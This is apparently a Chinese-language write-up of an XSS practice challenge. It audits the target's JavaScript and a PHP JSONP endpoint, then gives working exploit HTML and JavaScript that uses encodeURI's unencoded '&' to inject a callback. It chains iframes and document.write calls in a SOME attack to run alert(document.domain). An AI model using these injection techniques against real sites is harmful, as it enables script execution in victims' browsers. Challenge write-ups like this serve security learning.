我最近发现了一个大佬出的一道xss题,需要我们执行alert(document.domain)
。
我们可以使用SOME攻击来实现XSS。
代码审计
在index.html
页面主要的一段JavaScript代码:
var callback = function(msg) {
result.innerHTML = msg;
}
document.addEventListener('DOMContentLoaded', function(event) {
if (getQuery('code')) {
var code = getQuery('code');
c.value = code;
checkCode(code);
}
});
form.addEventListener('submit', function(event) {
checkCode(c.value);
event.preventDefault();
});
function checkCode(code) {
var s = document.createElement('script');
s.src = `/xss_2020-06/check_code.php?callback=callback&code=${encodeURI(code)}`;
document.body.appendChild(s);
}
function getQuery(name) {
return new URL(location.href).searchParams.get(name);
}
两个监听器都是对同一个东西的监听,只不过方法不同,一个是获取code参数,一个是表单提交,这就造了提交payload的差异。
还需要注意的是checkCode函数,它会使用encodeURI对code参数进行url进行编码。
对于check_code.php
源码:
<?php
$callback = "callback";
if (isset($_GET['callback']))
{
$callback = preg_replace("/[^a-z0-9.]+/i", "", $_GET['callback']);
}
$key = "";
if (isset($_GET['code']))
{
$key = $_GET['code'];
}
if (mb_strlen($key, "UTF-8") <= 10)
{
if ($key == "XSS_ME")
{
$result = "Okay! You can access <a href='#not-implemented'>the secret page</a>!";
}
else
{
$result = "Invalid code: '$key'";
}
}
else
{
$result = "Invalid code: too long";
}
$json = json_encode($result, JSON_HEX_TAG);
header('X-XSS-Protection: 0');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');
print "$callback($json)"
在check_code.php
中的限制:
- 使用
/[^a-z0-9.]+/i
对callback参数的过滤控制。 - 使用
length<=10
对code参数的过滤控制,只要长度限制,没有字符限制。
最终php文件返回值中的$json
中都会有字符串Invalid code:
,这个会影响我们的payload的构造。
我们通过在code参数中指定准备好的有效负载来实现SOME,该负载通过使用固定的callback参数和部分由攻击者控制的功能参数加载JSONP端点 。
此外,要实现对JSONP中使用的callback参数的控制,必须滥用 在checkCode函数中不安全地使用encodeURI。
漏洞利用
由于encodeURI
不对&
字符进行编码,因此可以在code参数中发送&callback =
来覆盖其原有值(codeback=codeback
)(如果url参数重复出现,服务器使用给定参数的最后一次出现的值而不是第一个)。
所以我们可以在表单中提交1&callback=alert
来触发弹窗。如图:
我们还可以在url上使用code参数来触发弹窗,比如?code=1%26callback=alert
。&的url编码就是%26
。
但是我们需要执行alert(document.domain)
,而且对code参数有长度限制。所以无法直接执行。
解决问题
这时我们就可以使用SOME攻击,使用iframe来实现同源方法执行,使用使用src属性来确保在同一个来源。
例如对于alert(1)
:
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<script>
function loadIframe(payload){
return new Promise(resolve => {
m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=alert`;
m.onload = function(){
return resolve(this);
}
});
}
async function go(){
await loadIframe("1");
}
</script>
对于alert(document.domain)
,我们借助多个iframe和相同来源的跨iframe操作,通过编写HTML和JavaScript代码将payload(<script>eval(top[2].name)</script>
)包含到iframe框架的DOM,将alert(document.domain)
添加到name
属性中。
因为长度的限制,我们还需要使用document.write
来逐步建立payload。
并且有多余字符串Invalid code:
的干扰,需要注释符来注释这些多余的字符串。
所以最终exp:
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="alert(document.domain)"></iframe>
<script>
function loadIframe(payload){
return new Promise(resolve => {
m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=top.x.document.write`;
m.onload = function(){
return resolve(this);
}
});
}
async function go(){
await loadIframe("<script>/*");
await loadIframe("*/eval(/*");
await loadIframe("*/top[2]/*");
await loadIframe("*/.name)//");
await loadIframe("<\/script>");
}
</script>